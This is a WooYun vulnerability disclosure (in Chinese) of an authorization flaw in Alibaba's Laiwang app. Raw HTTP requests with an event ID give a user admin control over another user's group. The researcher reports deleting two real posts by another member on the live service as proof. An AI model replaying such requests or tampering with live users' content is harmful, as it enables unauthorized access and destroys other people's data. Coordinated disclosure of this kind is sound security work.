当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-044122

漏洞标题：APP终结者Final#阿里巴巴来往App客户端权鉴操作缺陷2（情定马云大叔）

相关厂商：阿里巴巴

漏洞作者： zzR

提交时间：2013-11-26 17:30

修复时间：2014-02-24 17:31

公开时间：2014-02-24 17:31

漏洞类型：设计错误/逻辑缺陷

危害等级：低

自评Rank：1

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-11-26： 细节已通知厂商并且等待厂商处理中
2013-11-27： 厂商已经确认，细节仅向厂商公开
2013-11-30： 细节向第三方安全合作伙伴开放
2014-01-21： 细节向核心白帽子及相关领域专家公开
2014-01-31： 细节向普通白帽子公开
2014-02-10： 细节向实习白帽子公开
2014-02-24： 细节向公众公开

简要描述：

一如昨日提交阿里来往的已然修复，顺带发布了新版本，不得不佩服大公司的应急响应速度，虽然不是什么大洞，但是这样的效率可见一斑，非常赞！今日观微博，不小心看到一处二维码，此问题可能比昨天那货稍微严重一些，在此分享……不知道今晚会不会有更新哦~

详细说明：

经过昨天的交流明白了上一个问题出现的原因，今天在其他地方闲逛，目标锁定来往-扎堆
测试的过程是这样的，首先我先在微博上找到了马云大叔的扎堆群（江湖情马云扎堆），毫不犹豫的添加进去，然后可以自己创建一个扎堆，随便起一个什么名字。
在点击我自己的扎堆的同时抓包进行修改
请求如下：

POST /v1/event/post/remove HTTP/1.1
Host: api.laiwang.com
version_name: 4.2.0
Authorization: Bearer 614fcab1
apn_badge: 15
Accept-Encoding: gzip
Content-Length: 85
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Proxy-Connection: keep-alive
User-Agent: iOS 4.2.0 rv:720 (iPhone; iPhone OS 7.0.4; zh_CN)
access_token=614fcab1bb475d&eventId=2569119&postId=20201421
GET /v1/event/get?access_token=614f&eventId=2569119 HTTP/1.1
Host: api.laiwang.com
version_name: 4.2.0
If-None-Match: 1149063865
Authorization: Bearer 614fcab1
apn_badge: 15
Accept-Encoding: gzip
Proxy-Connection: keep-alive
Connection: keep-alive
User-Agent: iOS 4.2.0 rv:720 (iPhone; iPhone OS 7.0.4; zh_CN)
GET /v1/feed/post/event/list?access_token=614f&eventId=2569119 HTTP/1.1
Host: api.laiwang.com


大致的意思呢就是在我创建的来往扎堆下面，越权出现了eventId=2569119 江湖情（马云扎堆）的内容，并且可以有操作权限

漏洞证明：

我试着对用户 风清扬 选手的两个分享进行了删除操作，其结果是成功的，看图
正常情况下：

1.PNG


经过上面的请求后

2.PNG


可编辑状态，随即我试了一下删除操作

3.PNG


then

4.PNG


last

5.PNG


已经成功删除
为了确认此问题，删除了风清扬 两个分享，现在最后的就是 一只竖着中指的猫~

6.PNG


相当于活得扎堆的管理员权限，删除任意成员分享内容；这样我可以遍历所有扎堆，行使管理员权限么
抱歉

修复方案：

阿里的同学可以去看看这个扎堆，同时欢迎讨论~

版权声明：转载请注明来源 zzR@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2013-11-27 14:55

厂商回复：

感谢你对我们的支持与关注，该问题我们正在修复~~~

最新状态：

暂无

漏洞评价：

评论

  1. 2013-11-26 17:31 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    果然没完

  2. 2013-11-26 17:33 | hongygxiang ( 普通白帽子 | Rank:115 漏洞数:12 | 蛋疼)

    果然没完

  3. 2013-11-26 17:44 | Coody 认证白帽子 ( 核心白帽子 | Rank:1565 漏洞数:189 | 不接单、不黑产；如遇接单收徒、绝非本人所...)

    果然是我

  4. 2013-11-26 20:28 | jadore ( 路人 | Rank:7 漏洞数:6 | .....)

    会不会撞洞了...

  5. 2013-11-27 10:36 | zzR 认证白帽子 ( 核心白帽子 | Rank:1382 漏洞数:122 | 收wb 1：5 无限量收 [平台担保])

    @jadore 往哪里撞？

  6. 2014-02-25 17:37 | xsjswt ( 普通白帽子 | Rank:156 漏洞数:49 | 我思故我猥琐，我猥琐故我强大)

    @小川